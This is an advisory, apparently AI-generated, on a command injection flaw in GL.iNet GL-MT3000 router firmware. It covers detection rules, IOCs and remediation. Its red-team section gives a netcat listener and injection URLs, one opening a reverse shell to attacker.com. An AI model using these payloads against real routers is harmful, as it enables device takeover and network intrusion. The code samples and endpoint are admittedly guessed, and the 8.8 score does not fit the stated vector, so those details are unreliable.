CVE-2026-12187

Executive Summary

CVE-2026-12187 is a critical command injection vulnerability in GL.iNet GL-MT3000 routers running firmware versions up to 4.4.5. The flaw resides in the /usr/bin/one_click_upgrade binary, which handles online firmware upgrades. An unauthenticated attacker can remotely exploit this vulnerability to execute arbitrary commands on the device with root privileges. The exploit has been publicly disclosed, increasing the risk of widespread attacks. The vendor has released a patched version (4.7.0) to address the issue.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker can fully compromise the router without any authentication.

Deep Dive & Mechanics

The vulnerability exists in the one_click_upgrade handler, which is part of the router's firmware upgrade mechanism. The handler likely takes user-supplied input (e.g., a firmware URL or filename) and passes it unsanitized to a shell command. This allows an attacker to inject arbitrary commands by including shell metacharacters (e.g., ;, |, &&) in the input.

The attack is performed remotely, typically by sending a crafted HTTP request to the router's web interface or API endpoint that triggers the upgrade process. The injected commands run with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

Vulnerable Code (firmware <= 4.4.5): The vulnerable code likely uses a function like system() or popen() with unsanitized user input. For example:

// Vulnerable: user_input is directly concatenated into a shell command
char cmd[256];
snprintf(cmd, sizeof(cmd), "wget -O /tmp/firmware.bin %s", user_input);
system(cmd);

Patched Code (firmware >= 4.7.0): The patched code sanitizes the input by escaping shell metacharacters or using safer APIs that avoid shell interpretation. For example:

// Patched: use execvp with arguments to avoid shell injection
char *args[] = {"wget", "-O", "/tmp/firmware.bin", user_input, NULL};
execvp("wget", args);

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a GL.iNet GL-MT3000 router with firmware version 4.4.5 or earlier.
2. Connect the router to a network and ensure the web interface is accessible.
3. Set up a listener on your attacker machine (e.g., nc -lvnp 4444).

Exploit: Since no public exploit code is provided, a typical command injection payload would be:

http://<router_ip>/cgi-bin/one_click_upgrade?url=http://attacker.com/firmware.bin;reboot

Or using a reverse shell:

http://<router_ip>/cgi-bin/one_click_upgrade?url=http://attacker.com/firmware.bin;nc%20attacker.com%204444%20-e%20/bin/sh

Steps:

1. Send the crafted request to the router.
2. The router executes the injected command, giving you a reverse shell.
3. Escalate privileges (already root) and pivot to internal networks.

Blue Team

Detection:

• Monitor for unusual HTTP requests to /cgi-bin/one_click_upgrade with suspicious parameters (e.g., containing shell metacharacters).
• Look for outbound connections from the router to unknown IPs on unusual ports.
• Check for unexpected processes spawned by the one_click_upgrade binary.

Hunting:

• Search logs for patterns like url=*;* or url=*|*.
• Use network monitoring to detect reverse shell traffic.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /cgi-bin/one_click_upgrade with parameters containing ;, |, &&, or %0a.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, etc.
• File System:
  • Unexpected files in /tmp/ (e.g., firmware.bin, shell.sh).
  • Modified /etc/passwd or /etc/shadow.
• Processes:
  • Unusual processes like nc, bash, python spawned by one_click_upgrade.

Detection Engineering

YARA Rule

rule CVE_2026_12187_Command_Injection {
    meta:
        description = "Detects command injection attempts against GL.iNet GL-MT3000 one_click_upgrade"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-12187"
    strings:
        $cmd_inject1 = /url=[^&]*[;&|`]/
        $cmd_inject2 = /url=[^&]*\$\(/
        $cmd_inject3 = /url=[^&]*%0a/
    condition:
        any of them
}

Sigma Rule

title: GL.iNet GL-MT3000 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the one_click_upgrade endpoint with command injection patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/one_click_upgrade'
        cs-uri-query|re: 'url=[^&]*[;&|`]'
    condition: selection
falsepositives:
    - Legitimate firmware upgrade URLs (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-12187 GL.iNet GL-MT3000 Command Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/one_click_upgrade"; http_uri;
    pcre:"/url=[^&]*[;&|`]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all GL.iNet GL-MT3000 routers to firmware version 4.7.0 or later.
2. If immediate upgrade is not possible, restrict access to the router's web interface to trusted IPs only.
3. Disable remote management if not required.

Long-term Measures:

• Implement input validation and sanitization for all user-supplied data.
• Use parameterized APIs instead of shell commands.
• Regularly audit firmware for similar vulnerabilities.
• Deploy network segmentation to limit exposure of IoT devices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.